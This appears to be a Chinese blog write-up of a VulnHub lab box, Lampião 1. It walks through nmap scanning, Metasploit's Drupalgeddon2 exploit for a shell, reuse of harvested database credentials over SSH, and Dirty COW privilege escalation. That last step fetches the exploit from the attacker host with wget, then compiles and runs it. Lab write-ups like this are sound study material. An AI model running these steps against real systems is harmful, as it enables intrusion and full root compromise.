  8. mimikatz详情:https://wooyun.js.org/drops/Mimikatz%20%E9%9D%9E%E5%AE%98%E6%96%B9%E6%8C%87%E5%8D%97%E5%92%8C%E5%91%BD%E4%BB%A4%E5%8F%82%E8%80%83_Part3.html
  9. https://www.youtube.com/watch?v=f6SleGakcE0

Would you like to keep hacking in your own lab?

Try this brand new vulnerable machine! “Lampião 1”.

Get root!

前言

本靶场目标:获取root权限

0x01 靶机环境

靶机:GoldenEye 192.168.221.136

攻击机:kali 192.168.221.130

0x02 信息收集

获取目标IP

1
nmap -sP 192.168.221.0/24

服务扫描及信息收集

1
nmap -sV -vv -p 1-65535 192.168.221.136

22:ssh

80

1898:apache 2.4.7,此服务识别不了,直接返回数据

0x03 漏洞探测及利用

访问1898端口为用户登录页面。dirb扫1898服务所有目录,发现敏感目录robots.txt

robots.txt中记录了网站日志更改记录文件

durpal

用durpal7的cms建站

1
2
3
4
5
6
7
8
msfconsole
search dupral
use exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 192.168.221.136
set rport 1898
exploit
# 直接拿下shell
shell

但www-data权限较低

切换到/bin/bash目录:

1
python -c 'import pty;pty.spawn("/bin/bash")'

可以看到home路径下,用户名为tiago

数据库

网站一般有数据库的配置文件,在/var/www/html/sites/下有setting.php中写了数据库的用户名和密码

用户名:drupaluser

密码:Virgulino

在users表中发现name和password。密码一般为md5加密,但并未查出来

SSH访问服务器

1
ssh tiago@192.168.221.136

以tiago身份登录服务器成功

提权

查看靶机内核

1
2
lsb_release -a
uname -a

考虑用16年的dirtycow提取

1
2
3
4
search 
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /var/www/html
cd /var/www/html
python -m SimpleHTTPServer 80

靶机:

1
2
3
4
5
wget  http://192.168.221.130/40847.cpp
chmod 777 40847.cpp

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
./dcow -s

参数解释:

  1. -Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
  2. -pedantic 允许发出ANSI/ISO C标准所列出的所有警告
  3. -O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
  4. -std=c++11就是用按C++2011标准来编译的
  5. -pthread 在Linux中要用到多线程时,需要链接pthread库
  6. -o dcow gcc生成的目标文件,名字为dcow

拿到flag

0x04 复盘

  • 其实一般流程就是信息收集:
    1. 端口 服务,再者是网站的目录,获取普通权限。
    2. 获取使用的CMS或者中间件,去查找其对应的漏洞,然后上传exp,编译执行拿到一定权限。
    3. 进入bin/bash。查找网站配置文件,寻找数据库用户名密码登录拖库。
    4. 亦或者是ssh连接,然后用提权EXP进行提权,最终拿到root权限
  • 远程bash的上下左右键或者delete键键入会产生很奇怪的符号,敲代码的时候就很难受
  • 脏牛提权脚本中有其如何执行的注释,之后的EXP记得看

0x05 todolist

  1. dirtycow漏洞具体原理
  2. dupal漏洞的具体原理

参考:

  1. 靶机地址:https://www.vulnhub.com/
  2. 文章参考:https://www.jianshu.com/p/ce319b350885?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation